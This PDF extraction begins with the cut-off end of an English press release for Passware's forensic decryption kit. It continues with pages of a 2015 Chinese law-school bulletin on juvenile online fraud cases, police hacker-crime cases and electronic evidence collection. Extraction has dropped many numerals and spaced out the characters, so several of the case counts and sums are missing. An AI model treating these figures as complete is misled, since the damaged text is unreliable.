"Digital Encrypted Evidence Discovery and Decryption: Computers and Mobile Devices." Pricing and AvailabilityPassware Kit Forensic is available directly from Passware and a network of resellers worldwide. The price is $995 with one year of free updates. Additional product information and screen shots are available at About Passware, Inc.Founded in 1998, Passware, Inc. is the worldwide leading maker of password recovery, decryption, and electronic evidence discovery software. Law enforcement and government agencies, institutions, corporations and private investigators, help desk personnel, and thousands of private consumers rely on Passware software products to ensure data availability in the event of lost passwords. Passware customers include many Fortune 100 companies and various US federal and state agencies, such as the IRS, US Army, US Department of Defense (DOD), US Department of Justice, US Department of Homeland Security, US Department of Transportation, US Postal Service, US Secret Service, US Senate, and US Supreme Court. Passware is a privately held corporation with its headquarters in Mountain View, Calif. More information about Passware, Inc. is available at Contact:Nataly KoukoushkinaPassware Inc.+1 (650) ext. 101media@lostpassword.com To view the original version on PR Newswire, visit: puter-forensics html 未 成 年 人 网 络 诈 骗 犯 罪 典 型 案 例 发 稿 时 间 : :13:00 来 源 : 找 法 网 中 国 青 年 网 2014 年, 全 国 检 察 机 关 共 受 理 审 查 批 捕 未 成 年 人 犯 罪 案 件 件 人, 受 理 审 查 起 诉 未 成 年 人 犯 罪 案 件 件 人 在 涉 及 未 成 年 人 犯 罪 的 案 件 中, 以 往 大 多 只 是 盗 窃 故 意 伤 害 等 案 件 这 些 年, 未 成 年 人 犯 罪 案 件 的 类 型 出 现 多 元 化, 特 别 是 诈 骗 犯 罪 越 来 越 呈

54 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 现 出 网 络 化 的 发 展 趋 势 网 络 的 普 及 在 给 我 们 带 来 便 捷 高 效 生 活 的 同 时, 也 因 其 平 台 开 放 化 信 息 碎 片 化 传 播 便 捷 化 身 份 虚 拟 化 等 新 特 点, 逐 渐 成 为 未 成 年 人 诈 骗 犯 罪 的 新 领 域 案 例 一 诈 骗 30 余 宗, 骗 子 大 多 十 六 七 岁 刘 先 生 是 佛 山 市 南 海 区 黄 岐 某 公 司 的 业 务 员 2015 年 3 月 9 日, 他 准 备 订 一 张 前 往 贵 州 贵 阳 的 机 票 他 通 过 网 络 查 询 发 现 一 个 网 站 可 以 购 买 特 价 机 票, 于 是 拨 打 网 站 上 提 供 的 某 客 服 电 话 对 方 要 求 刘 先 生 将 购 票 款 转 到 一 个 账 号 以 6217 开 头 的 银 行 账 户 刘 先 生 随 后 将 购 票 款 转 入 指 定 的 账 号 后, 对 方 说 转 账 不 成 功, 刘 先 生 按 照 对 方 的 提 示, 在 柜 员 机 上 操 作 了 一 番, 随 后 发 现 银 行 卡 内 的 现 金 2 万 多 元 被 悉 数 转 走 刘 先 生 于 是 立 即 报 警 3 月 12 日, 羊 某 政 羊 某 能 等 13 名 犯 罪 嫌 疑 人 被 警 方 抓 获, 当 场 缴 获 赃 款 人 民 币 2 万 多 元 作 案 用 小 汽 车 4 辆 及 银 行 卡 手 机 等 涉 案 物 品 一 批 经 初 步 审 讯, 这 个 机 票 火 车 票 改 签 特 大 电 信 诈 骗 团 伙, 其 诈 骗 窝 点 设 在 海 南, 却 承 包 了 包 括 广 东 河 南 福 建 等 省 的 30 多 宗 机 票 火 车 票 改 签 电 信 诈 骗 案, 团 伙 成 员 大 多 十 六 七 岁 案 例 二 17 岁 少 年 背 着 伪 基 站 发 诈 骗 短 信 2015 年 9 月 4 日 上 午, 陕 西 省 汉 中 市 公 安 局 汉 台 分 局 民 警 接 到 报 警, 称 不 少 人 收 到 诈 骗 短 信 民 警 根 据 信 号 源, 锁 定 其 位 置 在 汉 中 市 中 心 广 场 附 近, 随 后 对 犯 罪 嫌 疑 人 实 施 了 抓 捕 民 警 在 犯 罪 嫌 疑 人 龙 某 (17 岁 ) 随 身 携 带 的 背 包 里 发 现 电 源 主 机 以 及 信 号 发 射 器 ( 伪 基 站 装 备 ) 据 龙 某 交 代, 从 今 年 7 月 中 旬 开 始, 他 就 背 着 这 套 装 备 在 湖 南 四 川 陕 西 等 省 发 送 诈 骗 短 信, 内 容 分 为 两 种, 其 一 是 以 房 东 讨 要 房 租 的 形 式, 让 信 息 接 收 者 向 某 银 行 卡 内 汇 款 付 房 租 ; 其 二 是 以 办 理 看 守 所 取 保 候 审 等, 需 要 者 可 致 电 的 形 式 诈 骗 据 办 案 人 员 介 绍, 龙 某 受 雇 于 他 人, 而 控 制 他 的 只 是 一 个 电 话 号 码 龙 某 父 亲 去 世, 母 亲 改 嫁, 无 人 看 管, 没 有 上 学 今 年 7 月, 他 路 上 遇 见 一 人 问 他 要 不 要 挣 钱, 可 以 每 天 挣 数 百 元, 龙 某 便 答 应 了 过 后, 此 人 便 给 了 他 这 套 装 备, 并 教 了 他 使 用 方 法, 之 后 便 都 是 以 电 话 短 信 来 控 制 他, 按 发 送 量 给 他 报 酬 他 每 天 发 完 后, 就 将 发 送 量 截 图 发 给 对 方, 对 方 以 每 条 一 分 钱 的 价 格 付 钱 给 他 案 例 三 彩 票 预 测, 少 年 因 诈 骗 获 刑 2013 年 7 月 间, 被 告 人 许 某 某 与 卢 某 某 共 谋 利 用 网 络 诈 骗 他 人 钱 财, 由 卢 某 某 提 供 笔 记 本 电 脑 银 行 卡 等 作 案 工 具, 并 租 赁 某 酒 店 式 公 寓 等 处 作 为 诈 骗 窝 点, 许 某 某 负 责 在 婚 恋 网 站 诱 骗 女 性 被 害 人 投 资 彩 票 实 施 诈 骗 同 年 8 月 间, 许 某 某 在 某 婚 恋 网 站 上 搭 识 苏 某 某 并 取 得 苏 某 某 的 信 任, 并 谎 称 其 是 澳 门 彩 票 公 司 的 主 管, 以 有 内 幕 消 息 可 让 苏 某 某 中 奖 为 由, 诱 骗 苏 某 某 投 注 人 民 币 1 万 元 随 后, 卢 某 某 以 彩 票 公 司 经 理 的 身 份 打 电 话 通 知 苏 某 某 中 奖 人 民 币 278 万 元, 并 以 需 缴 纳 银 行 开 户 费 等 为 由, 骗 取 苏 某 某 汇 款 人 民 币 6 万 元 同 月 18 日, 卢 某 某 又 联 系 邱 某 龙 ( 另 案 处 理 ) 冒 充 香 港 金 融 管 理 局 的 工 作 人 员, 以 苏 某 某 的 奖 金 被 香 港 金 融 管 理 局 冻 结, 需 要 解 冻 费 用 等 为 由, 骗 取 苏 某 某 再 次 汇 款 人 民 币 8 万 元, 后 卢 某 某 让 卢 某 凯 ( 另 案 处 理 ) 到 银 行 的 自 动 取 款 机 上 取 走 其 中 的 人 民 币 8 万 元 诈 骗 后, 许 某 某 分 得 人 民 币 元 案 发 后, 福 建 省 漳 州 市 漳 浦 县 公 安 局 向 卢 某 某 扣 押 人 民 币 15 万 元 退 还 给 被 害 人 苏 某 某 被 害 人 苏 某 某 对 许 某 某 表 示 谅 解 漳 浦 县 人 民 法 院 经 审 理 认 为, 许 某 某 伙 同 他 人 以 非 法 占 有 为 目 的, 采 用 虚 构 事 实 隐 瞒 真 相 的 方 法, 骗 取 他 人 人 民 币 15 万 元, 数 额 巨 大, 其 行 为 已 构 成 诈 骗 罪 公 诉 机 关 指 控 的 罪 名 成 立 在 共 同 犯 罪 中, 许 某 某 起 次 要 作 用, 是 从 犯, 且 犯 罪 时 不 满 18 周 岁, 依 法 应 当 减 轻 处 罚, 以 被 告 人 许 某 某 犯 诈 骗 罪, 判 处 其 有 期 徒 刑 一 年 六 个 月

55 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 检 察 官 说 法 网 络 诈 骗 往 往 从 信 息 泄 露 开 始 网 络 诈 骗 是 指 以 非 法 占 有 为 目 的, 利 用 互 联 网 采 用 虚 构 事 实 或 者 隐 瞒 真 相 的 方 式, 骗 取 数 额 较 大 的 公 私 财 产 的 行 为 网 络 诈 骗 案 件 中 的 未 成 年 人 既 有 个 体 户, 也 有 集 团 成 员, 分 工 明 确, 各 司 其 职, 也 有 部 分 未 成 年 人 是 被 他 人 教 唆 行 事 一 网 络 诈 骗 的 主 要 类 型 与 手 段 网 络 诈 骗 大 部 分 以 网 络 购 物 网 络 兼 职 网 络 投 资 等 方 式 出 现, 根 据 作 案 手 段 不 同, 一 般 分 为 利 益 诱 惑 型 和 危 机 恐 吓 型 两 类 1 利 益 诱 惑 型 是 指 利 用 受 害 人 贪 图 便 宜 或 者 渴 求 获 取 经 济 利 益 的 心 理, 让 受 害 者 陷 入 错 误 认 识, 通 过 互 联 网 骗 取 财 物 的 行 为 比 较 常 见 的 主 要 有 : 网 络 购 物, 以 出 售 商 品 为 名, 骗 取 钱 财, 如 案 例 一 中 的 犯 罪 嫌 疑 人 以 出 售 机 票 为 名 行 骗 ; 小 额 网 络 贷 款, 即 允 诺 为 受 害 者 提 供 小 额 贷 款, 但 先 以 收 取 手 续 费 或 保 证 金 的 名 义 骗 取 钱 财 ; 注 册 虚 假 网 站, 例 如 假 借 婚 恋 职 业 中 介 等 名 义 设 立 网 站, 收 取 低 额 手 续 费 骗 取 钱 财 ; 彩 票 预 测, 即 以 提 供 彩 票 中 奖 信 息 为 幌 子, 骗 取 钱 财, 如 案 例 三 中 的 犯 罪 嫌 疑 人 先 是 通 过 网 络 物 色 对 象, 进 行 感 情 投 资 后, 通 过 虚 构 中 奖 信 息, 骗 取 15 万 元 2 危 机 恐 吓 型 是 指 故 意 制 造 虚 假 危 机 或 利 用 受 害 者 陷 入 危 机 的 不 利 情 形, 欺 骗 受 害 者, 骗 取 财 物 的 行 为 比 较 常 见 的 危 机 恐 吓 型 诈 骗 主 要 有 :QQ 微 信 等 交 友 聊 天 诈 骗, 即 虚 构 有 突 发 事 故 等 博 取 受 害 者 同 情, 诈 骗 财 物 ; 退 订 机 票 或 演 出 门 票 诈 骗, 即 联 系 购 票 者, 谎 称 航 班 或 演 出 取 消, 利 用 钓 鱼 网 站, 骗 取 钱 财 ; 网 购 退 货 诈 骗, 即 谎 称 网 购 或 送 货 不 成 功, 给 受 害 者 发 送 钓 鱼 退 货 网 站, 骗 取 钱 财 二 网 络 诈 骗 为 何 受 骗 子 追 捧 网 络 科 技 日 新 月 异, 不 法 分 子 的 诈 骗 手 段 也 与 时 俱 进, 不 断 翻 新, 并 日 益 集 团 化 职 业 化, 往 往 令 人 防 不 胜 防 那 么, 网 络 诈 骗 为 何 会 受 到 诈 骗 嫌 疑 人 的 青 睐 呢? 1 低 成 本 赚 大 钱 : 仅 需 一 台 连 接 互 联 网 的 电 脑, 制 作 设 置 钓 鱼 网 站 和 在 互 联 网 上 发 布 虚 假 信 息, 即 可 完 成 犯 罪 的 前 期 准 备 其 利 用 现 代 网 络 和 移 动 通 讯, 猎 取 物 色 的 犯 罪 对 象 不 计 其 数, 积 少 成 多 的 犯 罪 收 益 往 往 让 犯 罪 分 子 不 择 手 段 而 目 前 多 数 小 额 网 络 诈 骗 犯 罪 侦 破 率 极 低, 司 法 手 段 很 难 有 效 及 时 打 击 该 类 犯 罪, 导 致 犯 罪 嫌 疑 人 无 视 法 律, 疯 狂 作 案 2 摇 一 摇 就 能 摇 到 摇 钱 树 : 微 信 陌 陌 米 聊 等 自 媒 体 软 件 开 发 了 诸 如 摇 一 摇 扫 一 扫 查 找 附 近 的 人 漂 流 瓶 和 陌 生 人 说 话 等 新 功 能, 通 过 晃 动 手 机 或 者 拣 起 一 个 瓶 子 就 能 进 行 在 线 即 时 交 友 聊 天, 简 单 一 个 打 招 呼 就 可 能 使 自 己 成 为 对 方 的 好 友, 在 聊 天 交 友 的 同 时, 也 可 以 浏 览 对 方 的 个 人 信 息 照 片, 在 虚 拟 世 界 中 就 可 以 轻 而 易 举 地 掌 握 对 方 的 信 息, 为 行 骗 埋 下 铺 垫 3 编 个 身 份, 让 你 找 不 到 我 : 自 媒 体 软 件 大 多 采 用 非 实 名 制 登 记, 对 用 户 注 册 没 有 太 多 限 制, 以 身 试 法 的 青 少 年 往 往 用 他 人 或 虚 假 信 息 多 次 进 行 注 册, 往 往 在 实 施 违 法 犯 罪 行 为 后 采 取 注 销 或 丢 弃 SIM 卡 的 方 式 逃 匿, 并 更 换 身 份 继 续 作 案, 给 公 安 机 关 的 案 件 侦 破 工 作 带 来 很 大 的 难 度 网 络 诈 骗 借 助 现 代 互 联 网 和 通 信 设 施 实 施 犯 罪, 大 大 突 破 了 传 统 空 间 和 时 间 的 限 制, 犯 罪 地 域 分 布 广 泛 网 络 虚 拟 性 关 联 性 特 点 造 成 传 统 时 空 关 系 的 分 裂, 完 成 一 个 犯 罪 行 为 的 诸 多 要 素 可 能 分 布 在 多 个 地 域 内 碎 片 化 的 地 域 分 布 特 征 增 强 了 犯 罪 的 非 接 触 性, 犯 罪 嫌 疑 人 和 受 害 者 存 在 极 少 的 交 流, 受 害 人 甚 至 对 犯 罪 嫌 疑 人 的 真 实 情 况 一 无 所 知, 能 知 道 的 仅 仅 是 对 方 的 虚 拟 姓 名 身 份 地 址 联 系 方 式, 这 都 给 侦 查 工 作 带 来 极 大 的 挑 战 相 关 法 条 诈 骗 罪 是 指 以 非 法 占 有 为 目 的, 用 虚 构 事 实 或 者 隐 瞒 真 相 的 方 法, 骗 取 数 额 较 大 的 公 私 财 物 的 行 为 通 常 认 为, 该 罪 的 基 本 构 造 为 : 行 为 人 以 不 法 所 有 为 目 的 实 施 欺 诈 行 为 被 害 人 产 生 错 误 认 识 被 害 人 基 于 错 误 认 识 处 分 财 产 行 为 人 取 得 财 产 被 害 人 受 到 财 产 上 的

56 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 损 失 根 据 我 国 刑 法 第 二 百 六 十 六 条 规 定 : 诈 骗 公 私 财 物, 数 额 较 大 的, 处 三 年 以 下 有 期 徒 刑 拘 役 或 者 管 制, 并 处 或 者 单 处 罚 金 ; 数 额 巨 大 或 者 有 其 他 严 重 情 节 的, 处 三 年 以 上 十 年 以 下 有 期 徒 刑, 并 处 罚 金 ; 数 额 特 别 巨 大 或 者 有 其 他 特 别 严 重 情 节 的, 处 十 年 以 上 有 期 徒 刑 或 者 无 期 徒 刑, 并 处 罚 金 或 者 没 收 财 产 本 法 另 有 规 定 的, 依 照 规 定 相 关 链 接 : 从 支 付 宝 盗 号 到 跨 国 诈 骗 公 安 部 公 布 打 击 网 络 黑 客 犯 罪 五 起 典 型 案 例 2015 年 11 月 13 日 08:24:16 来 源 : 新 华 网 新 华 网 北 京 11 月 12 日 电 ( 记 者 罗 沙 邹 伟 ) 公 安 部 12 日 发 布 消 息, 全 国 范 围 内 打 击 整 治 网 络 黑 客 犯 罪 专 项 行 动 取 得 明 显 成 效, 成 功 侦 破 黑 客 犯 罪 案 件 400 余 起 公 安 部 同 时 公 布 了 五 起 典 型 案 例, 以 案 说 法 案 例 一 山 东 淄 博 涉 越 跨 国 网 络 诈 骗 案 2015 年 3 月, 越 南 海 防 市 某 公 司 向 中 国 山 东 文 远 建 材 科 技 有 限 公 司 订 购 了 价 值 美 元 的 货 物 但 是 越 方 公 司 付 款 后, 中 方 公 司 并 未 收 到 货 款 经 核 查, 发 现 越 方 公 司 遭 到 网 络 诈 骗, 货 款 被 汇 入 另 外 一 个 银 行 账 户 山 东 淄 博 公 安 机 关 侦 查 发 现, 犯 罪 嫌 疑 人 采 取 入 侵 受 害 人 电 子 邮 箱 获 取 中 越 两 国 公 司 往 来 贸 易 信 息 的 手 段, 利 用 与 中 方 公 司 电 子 邮 箱 地 址 类 似 的 邮 箱 仿 冒 中 方 公 司 与 越 方 联 系, 诱 使 其 将 货 款 汇 入 另 一 个 银 行 账 户 近 期, 淄 博 公 安 机 关 转 战 上 海 武 汉 广 州 等 地, 打 掉 了 一 个 以 外 籍 人 员 为 主, 境 内 外 人 员 相 互 勾 连 的 犯 罪 团 伙, 抓 获 犯 罪 嫌 疑 人 5 名, 其 中 外 籍 人 员 3 名 案 例 二 吉 林 延 边 涉 韩 特 大 跨 国 网 络 盗 窃 案 2015 年 初, 吉 林 省 延 边 州 公 安 机 关 发 现 一 个 由 中 韩 两 国 犯 罪 嫌 疑 人 组 成 的 团 伙 涉 嫌 针 对 韩 国 网 民 银 行 卡 实 施 跨 国 网 银 盗 窃 延 边 公 安 机 关 成 立 专 案 组, 历 经 数 月 逐 渐 查 明 该 团 伙 由 多 个 犯 罪 小 组 组 成, 分 布 在 吉 林 福 建 等 地, 专 门 针 对 韩 国 银 行 储 户 存 款 实 施 网 络 盗 窃 近 日, 吉 林 公 安 机 关 开 展 统 一 行 动, 在 吉 林 福 建 等 地 抓 获 犯 罪 嫌 疑 人 31 人 经 查, 该 团 伙 利 用 木 马 程 序 和 钓 鱼 网 站 等 方 式 获 取 韩 国 居 民 银 行 卡 信 息, 由 韩 国 籍 犯 罪 嫌 疑 人 冒 充 韩 国 银 行 工 作 人 员, 通 过 电 话 方 式 诱 骗 用 户 解 除 银 行 卡 保 护 设 置, 利 用 已 获 取 的 韩 国 居 民 的 网 银 账 户 信 息 登 录 韩 国 受 害 人 网 银 账 户 后 转 走 存 款 经 初 步 统 计, 该 犯 罪 团 伙 一 周 内 盗 窃 的 资 金 就 达 到 人 民 币 300 余 万 元 案 例 三 江 苏 徐 州 5 15 系 列 盗 窃 支 付 宝 账 号 余 额 案 2015 年 5 月 14 日, 江 苏 省 徐 州 市 睢 宁 县 淘 宝 卖 家 王 某 到 公 安 机 关 报 案, 称 其 支 付 宝 账 号 内 余 额 被 盗 3996 元 江 苏 徐 州 公 安 机 关 侦 查 发 现, 犯 罪 嫌 疑 人 以 定 做 家 具 名 义 向 受 害 人 QQ 发 送 伪 造 成 图 片 样 式 的 木 马 程 序, 利 用 该 木 马 程 序 将 受 害 人 支 付 宝 账 号 内 余 额 盗 走 该 木 马 程 序 具 有 远 程 控 制 键 盘 记 录 结 束 进 程 等 功 能, 并 且 可 以 避 免 被 主 流 杀 毒 软 件 发 现 用 户 一 旦 被 植 入 木 马 程 序, 用 户 电 脑 即 被 嫌 疑 人 监 控, 当 受 害 人 登 录 网 银 支 付 宝 等 网 站 时 可 以 获 取 受 害 人 的 账 户 密 码 等 信 息 近 期, 江 苏 徐 州 公 安 机 关 先 后 在 广 东 四 川 辽 宁 等 地 抓 获 涉 嫌 制 作 销 售 木 马 提 供 免 杀 实 施 盗 窃 等 环 节 的 10 名 犯 罪 嫌 疑 人, 彻 底 摧 毁 此 包 含 植 入 木 马 实 施 盗 窃 销 售 木 马 制 作 木 马 的 分 工 明 确 链 条 完 整 的 网 络 盗 窃 犯 罪 团 伙 目 前 已 查 实 该 犯 罪 团 伙 作 案 近 20 起, 涉 案 价 值 10 余 万 元 案 例 四 江 苏 南 通 通 州 区 教 育 局 网 站 被 入 侵 案 2015 年 7 月 8 日, 江 苏 南 通 市 通 州 区 教 育 技 术 装 备 室 负 责 人 报 案 称, 今 年 以 来 通 州 区 教 育 党 建 人 事 网 页 面 多 次 被 人 恶 意 篡 改 江 苏 南 通 公 安 机 关 对 该 网 站 服 务 器 勘 验 发 现, 该

57 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 服 务 器 被 植 入 了 恶 意 木 马 文 件 近 期, 江 苏 南 通 公 安 机 关 在 徐 州 成 功 抓 获 非 法 侵 入 南 通 通 州 教 育 局 网 站 服 务 器 并 非 法 篡 改 网 页 的 犯 罪 嫌 疑 人 丛 某 某 经 审 讯, 丛 某 某 对 其 犯 罪 事 实 供 认 不 讳 其 自 2014 年 以 来 采 用 扫 描 网 站 漏 洞 放 置 木 马 病 毒 方 式 获 取 网 站 控 制 权 限, 然 后 入 侵 网 站 服 务 器 并 进 行 篡 改, 非 法 添 加 私 服 推 广 广 告 网 页 获 取 推 广 费 据 统 计, 该 犯 罪 嫌 疑 人 先 后 入 侵 了 近 200 个 网 站, 非 法 获 利 近 二 十 万 元 案 例 五 安 徽 宿 州 王 某 提 供 木 马 程 序 案 2015 年 8 月 20 日, 安 徽 省 公 安 厅 接 群 众 举 报 称, 有 网 民 在 互 联 网 上 大 肆 贩 卖 手 机 木 马 程 序 经 查, 宿 州 居 民 王 某 有 重 大 作 案 嫌 疑 8 月 29 日, 安 徽 宿 州 公 安 机 关 成 功 将 王 某 抓 获 经 审 讯, 王 某 供 称 其 自 2015 年 以 来, 利 用 自 学 的 计 算 机 技 术 制 作 手 机 木 马 程 序 并 利 用 互 联 网 进 行 销 售, 该 程 序 具 备 手 机 短 信 息 拦 截 键 盘 记 录 等 功 能 经 对 王 某 使 用 的 作 案 电 脑 进 行 勘 验, 公 安 机 关 发 现 王 某 还 在 境 外 租 用 15 台 服 务 器, 建 设 维 护 100 余 个 虚 假 中 国 移 动 网 站 并 在 网 站 上 挂 载 其 制 作 的 手 机 木 马 程 序, 再 出 租 给 专 门 实 施 网 络 盗 窃 网 络 诈 骗 的 不 法 分 子 使 用 据 统 计, 王 某 共 非 法 获 利 60 余 万 元 相 关 链 接 : 工 商 执 法 中 电 子 证 据 取 证 及 运 用 浅 谈 发 布 时 间 : :14 中 国 工 商 报 网 浙 江 省 杭 州 市 市 场 监 督 管 理 局 徐 正 荣 随 着 以 移 动 互 联 网 大 数 据 云 计 算 为 代 表 的 新 一 代 信 息 技 术 的 迅 猛 发 展, 我 国 网 络 市 场 交 易 规 模 交 易 量 呈 现 井 喷 式 发 展 态 势 市 场 主 体 的 经 营 领 域 由 线 下 拓 展 到 线 上, 经 营 资 料 和 经 营 活 动 记 录 也 开 始 呈 现 电 子 材 料 逐 步 取 代 书 式 材 料 之 势 在 工 商 行 政 执 法 中, 越 来 越 频 繁 地 需 要 利 用 电 子 证 据 认 定 违 法 事 实, 确 定 违 法 程 度 有 别 于 书 证 物 证, 证 人 证 言 等 传 统 证 据, 电 子 证 据 的 收 集 保 存 确 认 和 分 析 具 有 自 身 独 有 特 点 如 何 在 查 办 案 件 时 合 法 规 范 高 效 地 利 用 电 子 证 据, 是 当 前 网 络 经 济 快 速 发 展 的 形 势 下, 行 政 执 法 部 门 创 新 监 管 方 式 提 高 执 法 效 能 有 效 维 护 信 息 时 代 的 市 场 经 济 尤 其 是 网 络 市 场 经 济 秩 序 面 临 的 一 个 重 要 新 课 题 本 期 刊 发 相 关 文 章, 以 飨 读 者 电 子 证 据 取 证 类 别 电 子 证 据 也 称 为 计 算 机 证 据, 指 在 计 算 机 或 计 算 机 系 统 运 行 过 程 中 产 生 的, 以 其 记 录 的 内 容 证 明 案 件 事 实 的 电 子 媒 介 证 据 传 统 证 据 的 书 证 主 要 指 记 载 于 纸 质 媒 介 上 的 文 字 图 形 等 证 据, 计 算 机 证 据 主 要 指 记 载 于 计 算 机 上 的 各 种 文 本 图 形 图 像 动 画 音 频 及 视 频 等 多 种 类 型 的 信 息 一 般 来 讲, 可 以 用 做 电 子 证 据 取 证 的 信 息 源 很 多, 主 要 有 Office 文 档 文 件 系 统 日 志 电 子 邮 件 操 作 系 统 文 件 数 据 库 文 件 和 操 作 记 录 Web 浏 览 器 数 据 缓 冲 书 签 历 史 记 录 或 会 话 日 志 实 时 聊 天 记 录 Web 页 面 网 站 后 台 等 以 上 信 息 源 主 要 可 分 为 本 地 证 据 和 网 络 证 据 两 大 类 电 子 证 据 取 证 的 一 般 程 序 主 要 由 检 索 数 据 发 现 证 据 固 定 证 据 等 组 成 执 法 部 门 在 依 据 职 权 进 行 检 查 时, 首 先 要 初 步 确 定 可 能 记 载 违 法 经 营 主 体 证 据 的 信 息 源, 结 合 经 营 主 体 使 用 计 算 机 记 录 信 息 的 一 般 常 规 操 作 和 常 用 程 序, 有 针 对 性 地 缩 小 检 索 范 围, 以 快 速 发 现 证 据 信 息, 并 通 过 初 步 分 析, 确 定 证 据 和 有 效 性, 然 后 对 证 据 进 行 固 定, 保 证 证 据 的 合 法 性 计 算 机 本 地 取 证 计 算 机 本 地 取 证 是 指 对 经 营 主 体 保 存 于 计 算 机 本 地 的 信 息 证 据 进 行 收 集 获 取 的 手 段

58 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 主 要 有 office 文 档 文 件 核 算 应 用 软 件 数 据 库 文 件 历 史 记 录 缓 存 信 息 等 根 据 计 算 机 使 用 的 一 般 常 规 操 作, 可 以 使 用 下 面 的 一 般 检 索 步 骤 进 行 计 算 机 本 地 证 据 取 证 检 查 我 最 近 的 文 档 一 般 用 于 记 载 经 营 活 动 信 息 的 计 算 机 中, 经 营 活 动 相 关 使 用 的 文 件 文 档 程 序 是 最 常 用 使 用 最 频 繁 的 信 息 源 使 用 Windows 系 列 操 作 程 序 的 计 算 机, 点 击 左 下 角 开 始 按 钮, 会 出 现 开 始 界 面 界 面 分 为 左 右 两 部 分, 左 边 部 分 是 按 顺 序 排 序 最 近 使 用 的 程 序, 右 边 上 方 有 我 最 近 的 文 档 栏, 移 动 到 该 栏 会 列 出 按 顺 序 该 计 算 机 最 近 使 用 过 的 文 档, 一 般 为 10~20 个 条 目 通 过 对 该 列 条 目 的 观 察 和 分 析, 可 以 初 步 判 断 哪 些 信 息 源 与 经 营 主 体 的 违 法 行 为 相 关 在 检 查 过 程 中, 要 注 意 不 能 轻 易 点 击 打 开 某 一 条 目 文 件 因 为 打 开 某 一 文 件 后, 该 文 件 就 变 成 了 最 近 的 文 档, 会 改 变 原 有 的 序 列 检 查 计 算 机 桌 面 文 件 在 工 商 执 法 实 践 中 发 现, 一 般 中 小 经 营 主 体 的 计 算 机 操 作 人 员 在 使 用 计 算 机 记 录 经 营 活 动 信 息 时, 习 惯 于 将 常 用 文 件 放 置 在 计 算 机 桌 面 上, 并 主 要 使 用 Word Excel 等 Office 文 档 使 用 财 务 核 算 软 件 ERP 信 息 管 理 软 件 存 货 管 理 软 件 等 经 营 主 体, 在 桌 面 也 会 有 软 件 的 快 捷 链 接 方 式 因 此, 执 法 人 员 在 检 查 中 首 先 应 对 违 法 经 营 主 体 的 计 算 机 桌 面 进 行 查 看 分 析 同 样, 在 对 计 算 机 桌 面 文 件 进 行 检 查 时, 必 须 注 意 不 轻 易 打 开 某 一 文 件 或 程 序, 这 也 是 检 查 桌 面 文 件 必 须 在 检 查 我 最 近 的 文 档 程 序 之 后 的 原 因 一 旦 打 开 了 桌 面 上 的 程 序 或 文 件, 开 始 界 面 的 最 近 使 用 序 列 可 能 会 改 变, 影 响 后 续 检 查 检 查 财 务 核 算 库 存 管 理 ERP 等 应 用 软 件 根 据 违 法 经 营 主 体 的 经 营 活 动 情 况, 对 企 业 的 财 务 核 算 软 件 库 存 管 理 等 记 录 经 营 信 息 的 软 件 进 行 检 查, 可 以 对 经 营 活 动 进 行 全 盘 的 掌 握, 取 得 违 法 经 营 主 体 的 收 入 支 出 费 用 购 销 货 数 量 等 多 项 数 据 信 息, 在 调 查 取 证 中 收 到 事 半 功 倍 的 效 果 搜 索 可 能 记 载 经 营 活 动 信 息 的 文 档 一 般 而 言, 除 了 应 用 软 件 外, 违 法 经 营 主 体 习 惯 于 采 用 Word Excel 等 Office 文 档 记 载 经 营 信 息 如 果 在 计 算 机 桌 面 文 件 和 我 最 近 的 文 档 中 未 能 查 找 到 信 息 源, 可 以 尝 试 使 用 计 算 机 的 搜 索 功 能, 通 过 设 定 文 件 类 型 更 改 时 间 存 储 位 置 等 多 种 条 件 查 找, 并 对 查 找 出 的 文 件 进 行 分 析, 收 集 证 据 网 络 取 证 网 络 取 证 主 要 指 对 经 营 主 体 在 使 用 互 联 网 过 程 中, 存 在 于 互 联 网 页 面 后 台 和 本 地 网 络 程 序 的 信 息 源 进 行 获 取 收 集 的 手 段 主 要 有 Web 页 面 电 子 邮 件 Web 浏 览 器 数 据 缓 冲 书 签 历 史 记 录 实 时 聊 天 记 录 网 络 后 台 等 Web 页 面 取 证 可 以 在 对 违 法 经 营 主 体 计 算 机 的 网 络 浏 览 器 检 查, 通 过 历 史 访 问 记 录 收 藏 夹 书 签 Web 缓 存 等 获 取 计 算 机 经 常 浏 览 的 网 页 和 浏 览 历 史, 通 过 相 关 链 接 进 入 Web 网 页, 进 行 获 取 收 集 证 据 在 对 Web 页 面 进 行 取 证 时, 还 可 对 Web 页 面 内 嵌 应 用 软 件 进 行 检 查 例 如, 对 网 店 进 行 检 查 时, 在 对 网 店 的 页 面 内 容 进 行 检 查 后, 还 应 对 网 店 相 关 联 的 支 付 链 接 等 进 行 检 查, 因 为 支 付 记 录 是 交 易 记 录 的 最 可 靠 载 体, 还 可 以 链 接 到 经 营 主 体 的 银 行 账 户 等 相 关 信 息 电 子 邮 件 取 证 通 过 对 在 线 电 子 邮 件 和 本 地 Outlook Express 等 软 件 进 行 检 查, 查 找 获 取 相 关 数 据 信 息 在 线 电 子 邮 件 可 以 根 据 浏 览 器 历 史 记 录 缓 存 信 息 等 判 断 经 常 使 用 的 邮 件 地 址, 本 地 电 子 邮 件 软 件 的 用 户 相 对 比 较 单 一, 都 是 有 迹 可 循 的 即 时 通 讯 软 件 取 证 通 过 对 经 营 主 体 的 电 子 即 时 通 信 软 件 的 在 线 聊 天 记 录 本 地 缓 存 记 录 等 进 行 查 找, 可 以 获 取 聊 天 记 录 订 单 客 户 等 多 种 信 息 源 网 站 后 台 取 证 网 站 后 台 指 储 存 于 本 地 电 脑 或 远 程 服 务 器 的 网 站 数 据 的 信 息 源,Web 页 面 通 常 是 单 一 通 过 页 面 形 式 表 示 和 记 录 的 信 息 或 数 据, 通 过 登 录 网 络 后 台 可 以 获 取 更 为 全 面 的 数 据 信 息 源 工 商 执 法 检 查 通 过 以 上 步 骤, 可 以 获 取 违 法 经 营 主 体 运 用 计 算 机 存 储 的 经 营 活 动 信 息 但 有 的 行 政 相 对 人 刻 意 规 避 检 查, 会 采 取 各 种 措 施 防 范 行 政 机 关 取 证, 比 如 移 动 存 储 删 除

